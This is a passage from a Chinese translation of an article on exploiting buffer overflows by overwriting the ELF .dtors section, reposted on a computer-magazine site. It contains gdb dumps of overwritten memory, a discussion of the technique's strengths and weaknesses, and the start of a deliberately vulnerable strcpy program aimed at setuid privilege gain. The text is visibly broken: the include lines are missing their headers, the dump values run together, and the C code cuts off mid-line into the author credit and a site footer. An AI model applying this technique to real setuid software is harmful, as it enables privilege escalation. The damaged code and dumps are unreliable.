0x080494f0->0x080494f4 at 0x000004f0: .eh_frame ALLOC LOAD DATA HAS_CONTENTS
0x080494f4->0x080494fc at 0x000004f4: .ctors ALLOC LOAD DATA HAS_CONTENTS
0x080494fc->0x08049504 at 0x000004fc: .dtors ALLOC LOAD DATA HAS_CONTENTS
0x08049504->0x0804952c at 0x00000504: .got ALLOC LOAD DATA HAS_CONTENTS
现在让我们检查一下什么被覆盖了:
(gdb) x/x 0x080494f0
0x80494f0 : 0x41414141
这部分是.eh_frame(这一节被gcc用来为支持它们的语言存储异常处理函数指针)
的内容
(gdb) x/x 0x080494f4
0x80494f4 : 0x41414141
(gdb) x/8x 0x080494fc
0x80494fc : 0x414141410x080484680x080495000x40013ed0
0x804950c : 0x4000a9600x400fa530 0x08048336
0x400328cc
我们看到,我们甚至根本不用担心0xffffffff这个头标记被覆盖,只须将bleh()
的地址放在正确的位置就可以使我们的代码被执行了。我们也发现最后进程发生
了段错误,这显然是由于进程会不断搜索.dtors的结尾标记(0x00000000),在找
到之前将依次跳到我们所填充地址(0x8049500)后的每个地址去执行,由于结尾
标记被我们覆盖了,导致程序跳到了GOT表中去执行了,所以才会发生错误。
结论:
----------
这里展示了另外一种执行shellcode代码的方法。这种技术有以下的一些优点:
* 如果二进制目标文件攻击者是可读的,那么找到我们想写入的确切目
标地址是很容易的,只需要分析ELF映像确定.dtors的位置即可。这将大
大提高攻击的可靠性。
* 它比覆盖GOT表的技术更简单。
弱点:
* 要求目标程序必须被GNU工具编译和连接。
* 在某些情况下,知道程序退出也很难找到一个地方来存放shellcode
[译者注:这种方法实际上还有一个问题就是,由于析构函数是在main()函数退
出之后才执行的,因此,如果程序在发生溢出后,又执行了setuid(saveduid)这
样丢弃root权限的操作,攻击者将不能得到root(或者其他用户)权限。
我们将bleh.c稍做修改:
[warning3@redhat-6 dtor]$ cat bleh.c
#include
#include
#include
static void bleh(void);
void vulfun(char *ptr)
{
static u_char buf[] = "bleh";
strcpy(buf, ptr);
}
int
main(int argc, char *argv[])
{
int saved_uid = getuid();
if (argc >, Juan M. Bello Rivas
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-27331-4.html
让人敬佩
必须驱赶